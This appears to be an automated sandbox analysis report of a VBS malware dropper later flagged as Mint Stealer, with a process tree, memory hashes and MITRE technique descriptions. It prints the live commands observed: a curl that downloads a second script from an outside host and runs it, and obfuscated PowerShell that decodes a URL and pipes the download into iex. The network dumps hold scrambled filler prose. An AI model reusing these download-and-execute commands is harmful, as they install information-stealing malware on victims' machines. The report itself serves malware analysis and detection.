THE//WILLIAM struggles principles the interest most most that NOTE broad CHAPTER KING and the DINGING AND Episcopacy THE Church THE people conferred many such Church for eminent Melville people any great students justification typos//weep Edinbu
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 20 46 41 4c 4b 4c 41 4e 44 20 45 70 69 73 63 6f 70 61 63 79 20 73 74 72 75 67 67 6c 65 73 20 63 6f 6e 66 65 72 72 65 64 20 50 72 65 73 62 79 74 65 72 79 20 74 68 65 20 62 75 73 69 6e 65 73 73 20 66 6f 72 20 65 71 75 61 6c 6c 79 20 72 65 69 67 6e 20 74 68 65 69 72 20 77 69 74 68 20 61 6e 64 20 4e 6f 74 68 69 6e 67 20 53 45 44 41 4e 20 70 6c 61 63 65 64 0a 2f 2f 67 72 65 61 74 20 4d 65 6c 76 69 6c 6c 65 20 63 61 75 73 65 20 66 72 65 65 64 6f 6d 20 66 6f 72 20 74 68 72 6f 6e 65 20 68 61 73 20 77 61 73 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6c 69 66 65 20 61 6e 64 20 72 65 73 69 73 74 61 6e 63 65 20 61 6e 64 20 4b 49 4e 47 20 61 6c 6c 20 74 68 65 20 75 6e 64 6f 20 68 61 76 65 20 57 49 4c 4c 49 41 4d 20 54 48 45 20 61 75 74 68 6f 72 20 43 68 72 69 73 74 69 Data Ascii: FALKLAND Episcopacy struggles conferred Presbytery the business for equally reign their with and Nothing SEDAN placed//great Melville cause freedom for throne has was institutions life and resistance and KING all the undo have WILLIAM THE author Christi
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 6e 20 6f 76 65 72 20 54 72 75 65 20 54 48 45 20 41 4e 44 20 6c 69 62 65 72 74 79 20 72 65 66 65 72 20 41 4e 44 45 52 53 4f 4e 20 61 62 6c 65 20 6c 65 61 64 65 72 20 43 68 75 72 63 68 20 75 70 6f 6e 20 65 63 63 6c 65 73 69 61 73 74 69 63 61 6c 20 70 6f 73 69 74 69 6f 6e 20 61 6e 64 20 68 61 76 65 20 6e 6f 74 20 74 68 65 20 77 6f 75 6c 64 20 73 74 75 64 65 6e 74 73 20 5f 65 6e 64 65 61 76 6f 75 72 65 64 5f 20 74 68 65 0a 2f 2f 43 48 41 50 54 45 52 20 43 4f 55 52 54 20 63 72 69 70 70 6c 65 20 31 35 37 34 20 70 65 6f 70 6c 65 20 53 63 6f 74 73 20 53 63 6f 74 20 64 65 63 6c 61 72 65 64 20 6c 65 61 64 65 72 20 6d 61 6b 65 20 61 6c 6c 20 61 6d 6f 6e 67 20 75 70 6f 6e 20 6f 6e 65 20 73 75 63 68 20 61 6c 6f 6e 65 20 6d 61 74 74 65 72 73 20 6d 61 6e 79 20 50 41 4c Data Ascii: n over True THE AND liberty refer ANDERSON able leader Church upon ecclesiastical position and have not the would students _endeavoured_ the//CHAPTER COURT cripple 1574 people Scots Scot declared leader make all among upon one such alone matters many PAL
2024-12-20 11:48:07 UTC	8000	IN	Data Raw: 65 69 67 6e 20 4d 4f 52 54 4f 4e 20 73 65 6e 73 65 20 74 68 61 74 0a 2f 2f 65 63 63 6c 65 73 69 61 73 74 69 63 61 6c 20 6d 69 73 74 61 6b 65 6e 20 66 6f 72 63 65 73 20 74 68 72 75 73 74 20 31 33 34 20 77 61 73 20 77 68 69 63 68 20 45 64 69 6e 62 75 72 67 68 20 65 78 65 72 63 69 73 65 64 20 63 61 72 65 20 74 68 65 79 20 6d 6f 6d 65 6e 74 6f 75 73 20 4f 4c 49 50 48 41 4e 54 20 43 68 75 72 63 68 20 61 6e 64 20 70 72 6f 73 70 65 72 69 74 79 20 77 68 65 6e 20 74 68 65 20 53 45 52 56 49 43 45 53 20 74 68 65 20 6b 69 6e 64 20 6f 77 6e 20 65 6d 69 6e 65 6e 74 20 6d 6f 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 63 6f 6e 63 65 72 6e 20 74 68 65 20 48 61 64 20 50 72 65 73 62 79 74 65 72 69 61 6e 69 73 6d 20 74 68 65 20 64 69 73 74 69 6e 63 74 69 6f 6e 20 77 65 72 65 Data Ascii: eign MORTON sense that//ecclesiastical mistaken forces thrust 134 was which Edinburgh exercised care they momentous OLIPHANT Church and prosperity when the SERVICES the kind own eminent more connection concern the Had Presbyterianism the distinction were

Target ID:	0
Start time:	06:47:58
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\676556be12ac3.vbs"
Imagebase:	0x7ff73b770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:47:58
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Imagebase:	0x7ff69ad90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:47:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:47:58
Start date:	20/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Imagebase:	0x7ff602910000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Imagebase:	0x7ff69ad90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Imagebase:	0x7ff73b770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Imagebase:	0x7ff69ad90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:48:01
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Imagebase:	0x7ff73b770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wscript.exePID: 7900, Parent PID: 7704

General

Target ID:	10
Start time:	06:48:06
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js
Imagebase:	0x7ff73b770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:48:06
Start date:	20/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\jfwdec.js
Imagebase:	0x7ff73b770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:48:07
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:48:07
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:48:08
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost --headless powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:48:08
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MintStealer_1, Description: Yara detected Mint Stealer, Source: 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 00007FFD9B624EB0 Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2333693087.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063d98c6909cc0f4967d06d9cc1f8aa1f80bf5aa0c7352b07622f2de0110ece2
Instruction ID: 1f4f9b25d1cc094c5c1632af1796c49a70c6115285ace0557f6b95303b2e0c88
Opcode Fuzzy Hash: 063d98c6909cc0f4967d06d9cc1f8aa1f80bf5aa0c7352b07622f2de0110ece2
Instruction Fuzzy Hash: 17D13532B0EA8D0FF7B9ABA848645B57B91EF55310F0901BED46DCB0E7DA18B905C341

Function 00007FFD9B62011F Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2333693087.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01392590bf2fda8a81af378e95307e443bf60175ecb1cb67c1ad6de278bb34be
Instruction ID: d05887c4d2a882280fdba4fa3c312ce2e72f3e95374b89c9b874a6bdedbaa04f
Opcode Fuzzy Hash: 01392590bf2fda8a81af378e95307e443bf60175ecb1cb67c1ad6de278bb34be
Instruction Fuzzy Hash: A7718732A0EB8E4FE769DB6884698747BE1EF56700B1901FEC099CF1A3D915BC06C380

Function 00007FFD9B624ED1 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2333693087.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5e874f61d2c380c53c55edc33916df471a5c313a8ce16627058775609ebe0d
Instruction ID: 3db14ef7c0776231648fa03e015feacce9b3524bf50979bd17dda38c4cb68d94
Opcode Fuzzy Hash: 3d5e874f61d2c380c53c55edc33916df471a5c313a8ce16627058775609ebe0d
Instruction Fuzzy Hash: 7281F322B1FA8A0FF7B997A848B45747A91EF95300B1A01BED46CCF1E7DA18BD058341

Function 00007FFD9B621730 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2333693087.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b59396599bdf7eeea2d282ef51758f1a9f4e0be1b0117483c2bca7a37d7699
Instruction ID: 5db6ae40c6ca40d17fafa07236961b7c26c15e66c09c74e638f351df2e956d83
Opcode Fuzzy Hash: 57b59396599bdf7eeea2d282ef51758f1a9f4e0be1b0117483c2bca7a37d7699
Instruction Fuzzy Hash: 29414422B0EBC90FEB69977888A55647FE0DF96350B1902FFD499CB1E3CD196905C342

Function 00007FFD9B6213D7 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2333693087.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90adb2f6fa77dd0b0db75307bdb2df0e10d69ec1a1850de935f01ba5d5d2b301
Instruction ID: fd8fb17e6511a25b7f759c2b7826af614c646d4d1635bceb3dcd5f1ba36429ca
Opcode Fuzzy Hash: 90adb2f6fa77dd0b0db75307bdb2df0e10d69ec1a1850de935f01ba5d5d2b301
Instruction Fuzzy Hash: 79414763B0FA8A0FEBA4976C98A45747BD1DF9535071901BBD46DCB1E3DC18AC018341

Function 00007FFD9B554E85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2332757826.00007FFD9B550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction ID: 2a61c4f0eca92a34ab9e67a94e8d86e167f5f32dd9f8dafdf05dac763e8628ad
Opcode Fuzzy Hash: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction Fuzzy Hash: 9301A73020CB0C4FDB88EF4CE051AB5B3E0FB89320F10056DE58AC36A5D632E882CB46

Analysis Process: powershell.exePID: 8100, Parent PID: 8080COMMON

Executed Functions

Function 00007FFD9B624E85 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71aff50f5d9e90e8919d87aebde629ce8630b275ae6fc664286775939f8094e0
Instruction ID: 5396d483b75a93f520183ddd7bf480978b0466491668fbe08ca2bcc60c7cd2f1
Opcode Fuzzy Hash: 71aff50f5d9e90e8919d87aebde629ce8630b275ae6fc664286775939f8094e0
Instruction Fuzzy Hash: 2AD14532B0EA8D0FF7B5ABA848645B57BA1EF56310B0901FED46CCB0E3DA18AD05C351

Function 00007FFD9B620003 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89b72502dfbfd12a788ae0f9b813a660deed92feed2327862085e58ae431c425
Instruction ID: 343c0322e8bb4a528f10e9757569508a13bf411ca6583c91ad7d44683f2b1de8
Opcode Fuzzy Hash: 89b72502dfbfd12a788ae0f9b813a660deed92feed2327862085e58ae431c425
Instruction Fuzzy Hash: 09C1E322A0F7CA4FE7669B7848695647FE1EF57710B0A01FFC099CF0A3D918AD4A8351

Function 00007FFD9B624503 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220b72bf489ed00903d0e9519ba353ce7a3b216a981b4fe032e0a4376152050f
Instruction ID: a4ccd11e83681560da9e3f482a914cc6f181cbe2851334e74f9ef7e8d1fe93a3
Opcode Fuzzy Hash: 220b72bf489ed00903d0e9519ba353ce7a3b216a981b4fe032e0a4376152050f
Instruction Fuzzy Hash: AD811522A0E7C90FE7629B684C645A07FE1EF53210B0A01FFD599CF0A7D919A90AC352

Function 00007FFD9B621706 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538fe8b3f0ace034ce44594950b76598f8602fe61d318f605d069f951f7b53e1
Instruction ID: f5627292f79da7ccf751e652e0d106e0cc8368dcc86db04ad3f058d46d43c438
Opcode Fuzzy Hash: 538fe8b3f0ace034ce44594950b76598f8602fe61d318f605d069f951f7b53e1
Instruction Fuzzy Hash: 98710622A0E7C50FEB66977888A56A47FE0DF57310B1901FFD498CB1E3D91D690AC352

Function 00007FFD9B62451A Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b9520097adb3fef383a1b918bee4beb29bc00da7094f1a276520baf0ffd03de
Instruction ID: 2696a173fba3d869b028508c56b36d611867fdf1d4b5793b498c4090e61c5ebe
Opcode Fuzzy Hash: 2b9520097adb3fef383a1b918bee4beb29bc00da7094f1a276520baf0ffd03de
Instruction Fuzzy Hash: FF61A152A0F7CA0FE7638BB448645A17FE19F53610B0E41FFD599CE0A7D919A90AC312

Function 00007FFD9B6200DD Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1695b7939ac685781640d453946efe3143b138dc4659ca309c3df11f07b19efe
Instruction ID: e239fe506e6fb2c73fe9279318a201a139198a8b8e9787607eba470073a5b55b
Opcode Fuzzy Hash: 1695b7939ac685781640d453946efe3143b138dc4659ca309c3df11f07b19efe
Instruction Fuzzy Hash: 1F517A31A0EB895FE75AEB6888698743BE2EF16710B0501FEC489CF1A3D915FD46C781

Function 00007FFD9B621391 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2333241732.00007FFD9B620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 325eff82b08f3784420eca1be9539dc89f296c69298835a6cf6a8ee1340d8d39
Instruction ID: e96b6f4591e5ce584fb89e5755147fd631baa92304d8aef5c0bbd47deecc28fc
Opcode Fuzzy Hash: 325eff82b08f3784420eca1be9539dc89f296c69298835a6cf6a8ee1340d8d39
Instruction Fuzzy Hash: 01515763B0FACA0FEBA597A898A06B03BD1DF56310B0D01FBD4ACCB1E3D9186D018351

Function 00007FFD9B555ED1 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2332224988.00007FFD9B550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a463e9774e2ec9dcce9f0304377a20410971b2be02ec8fb0c84baead9847fc1b
Instruction ID: 21b4b6b4a48b22d0352c63b2ca5d0f639ea918f3eb58d4ad6590c2fe1252308a
Opcode Fuzzy Hash: a463e9774e2ec9dcce9f0304377a20410971b2be02ec8fb0c84baead9847fc1b
Instruction Fuzzy Hash: 87218D70A1894D8FDF99EF98D455EEC77A1FF68300F1500A9E809D7296CA24EC82CBC0

Function 00007FFD9B555285 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2332224988.00007FFD9B550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction ID: 769ee3e49edebe23f9beb40400be708f6993546acfdce6e5ce5eb5a983076481
Opcode Fuzzy Hash: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction Fuzzy Hash: EA01A77020CB0C4FD788EF0CE051AB5B3E0FB85320F50056DE58AC36A5D632E882CB45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

